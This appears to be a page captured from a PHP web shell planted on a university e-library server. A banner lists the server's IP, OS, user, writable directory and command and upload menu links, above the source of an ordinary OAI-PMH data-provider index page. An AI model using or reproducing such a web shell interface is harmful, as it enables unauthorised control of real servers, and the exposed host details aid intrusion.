|
Server IP : 103.11.96.170 / Your IP : 18.116.239.69 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/elibrary/lib/oaipmh/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php /*! \mainpage notitle * * \section intro_sec Introduction * * This is an implementation for an OAI-PMH 2.0 Data Provider (sometimes, repository is used exchangeablly) written in PHP. * * This implementation completely complies to OAI-PMH 2.0, including * the support of on-the-fly output compression which may significantly * reduce the amount of data being transfered. * * This package has been inspired by PHP OAI Data Provider developed by Heinrich Stamerjohanns at University of Oldenburg. * Some of the functions and algorithms used in this code were transplanted from his implementation at http://physnet.uni-oldenburg.de/oai/. * * Database support is supported through PDO (PHP Data Objects included in * the PHP distribution), so almost any popular SQL-database can be * used without any change in the code. Only thing need to do is to configure * database connection and define a suitable data structure. * * The repository can be quite easily configured by just editing * oaidp-config.php, most possible values and options are explained. * * \section req_sec Requirements * - A running web server + PHP version 5.0 or above. * - A databse can be connected by PDO. * * \section install_sec Installation * *- Copy the the files in source package to a location under your * document root of your web server. The directory structure should be * preserved. *- Change to that directory (e.g. cd /var/www/html/oai). *- Allow your webserver to write to the token directory. * The default token directory is /tmp which does not need any attention. *- Edit oaidp-config.php. Almost all possible options are * explained. It is assumed that basic elements of a record are stored in * one simple table. You can find sql examples of table definition in doc folder. * If your data is organized differently, you have to adjust the <i>Query</i> functions * to reflect it and even develop your own code. *- Check your oai site through a web browser. e.g. : \code http://localhost/oai/ \endcode *- SELinux needs special treatments for database connection and other permission. * * \section struct_sec Structure The system includes files for individual functionality and utility classes and functions to get it work. - Controller - oai2.php - Individual functionalities: - identify.php: identifies the data provider. Responses to <B>Identify</B>. - listmetadataformats.php: lists supported metadata formats, e.g. dc or rif-cs. Responses to <B>ListMetadataFormats</B>. - listsets.php: lists supported sets, e.g. Activity, Collection or Party. Responses to <B>ListSets</B>. - listrecords.php: lists a group of records without details. Responses to <B>ListRecords</B>. It also serves to <B>ListIdentifiers</B> which only returns identifiers. - getrecord.php: gets an individual record. Responses to <B>GetRecord</B>. - Utility classes - xml_creater.php which includes classess ANDS_XML, ANDS_Error_XML, ANDS_Response_XML - Utility functions - oaidp-util.php - Support to different metadataformats in your own systems. Two examples provided with the package are: record_dc.php and record_rif.php. They are helpers and need information from the real records. They need to be devloped for your particular system. - Configurations - oaidp-config.php * * \author Jianfeng Li * \version 1.1 * \date 2010-2011 */ /** * \file * \brief * Default starting point of OAI Data Provider for a human to check. * * OAI Data Provider is not designed for human to retrieve data but it is possible to use this page to test and check the functionality of current implementation. * This page provides a summary of the OAI-PMH and the implementation. * */ $MY_URI = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']; $pos = strrpos($MY_URI, '/'); $MY_URI = substr($MY_URI, 0, $pos). '/oai2.php'; ?> <html> <head> <title>php-oai2 Data Provider</title> </head> <body> <h3>php-oai2 Data Provider</h3> <p>This is an implementation of an <a href="http://www.openarchives.org/OAI/openarchivesprotocol.html" target="_blank">OAI-PMH 2.0 Data Provider</a>, written in <a href="http://www.php.net" title="PHP's website" target="_blank">PHP</a> and has been tested with version 5.3.</p> <p>This implementation completely complies to <a href="http://www.openarchives.org/OAI/openarchivesprotocol.html" target="_blank">OAI-PMH 2.0</a>, including the support of on-the-fly output compression which may significantly reduce the amount of data being transfered.</p> <p> This package has been inspired by <a href='http://physnet.uni-oldenburg.de/oai/' target="_blank">PHP OAI Data Provider</a> developed by Heinrich Stamerjohanns at University of Oldenburg. Some of the functions and algorithms used in this code were transplanted from his implementation.<p> <p>Database is supported through <a href="http://www.php.net/manual/en/book.pdo.php" target="_blank"><dfn><abbr title="PHP Data Objects">PDO</abbr></dfn></a>, so almost any popular SQL-database which has PDO driver can be used without any change in the code.</p> <p> It uses <dfn>DOM extension</dfn>,an extension included in every PHP installation since version 5, for generating XML files. With PHP 5 or above no extra extension is needed.</p> <p>The repository can be quite easily configured by just editing oai2/oaidp-config.php, most possible values and options are explained. For requirements and instructions to install and configure, please reference <a href="doc/index.html">the documentation</a>.</p> <p>Once you have setup your Data Provider, you can the easiliy check the generated answers (it will be XML) of your Data Provider by clicking on the <a href="#tests">test links below</a>. </p> <p>For simple visual tests set <em>$SHOW_QUERY_ERROR</em> to <em>TRUE</em> and <em>$CONTENT_TYPE</em> to <em>text/plain</em>, so you can easily read the generated XML responses in your browser. </p> <p><strong>Remember</strong>, <em>GetRecord</em> needs <b><i>identifier</i></b> to work. So please change it use your own or you should see a response with error message.</p> <p> <dl> <dt>Example Tables <dd><a href="doc/oai_records_mysql.sql">OAI Records (mysql)</a></dd> <dd><a href="doc/oai_records_pgsql.sql">OAI Records (pgsql)</a></dd> </dt> <dt>Query and check your Data-Provider</dt> <dd><a href="<?php echo $MY_URI; ?>?verb=Identify">Identify</a></dd> <dd><a href="<?php echo $MY_URI; ?>?verb=ListMetadataFormats">ListMetadataFormats</a></dd> <dd><a href="<?php echo $MY_URI; ?>?verb=ListSets">ListSets</a></dd> <dd><a href="<?php echo $MY_URI; ?>?verb=ListIdentifiers&metadataPrefix=rif">ListIdentifiers</a></dd> <dd><a href="<?php echo $MY_URI; ?>?verb=ListRecords&metadataPrefix=rif">ListRecords</a></dd> <dd><a href="<?php echo $MY_URI; ?>?verb=GetRecord&metadataPrefix=rif&identifier=8b1fcb90-872d-4d7d-a745-fbc37d4561b8">GetRecord</a></dd> </dt> </dl> </p> <p> For other tests on your own provider or other providers, please use the <a href="http://re.cs.uct.ac.za/" title="OAI Repository Explorer" target="_blank">Repository Explorer</a>. </p> <p> Jianfeng Li<br> The Plant Accelerator<br> University of Adelaide </p> </body> </html>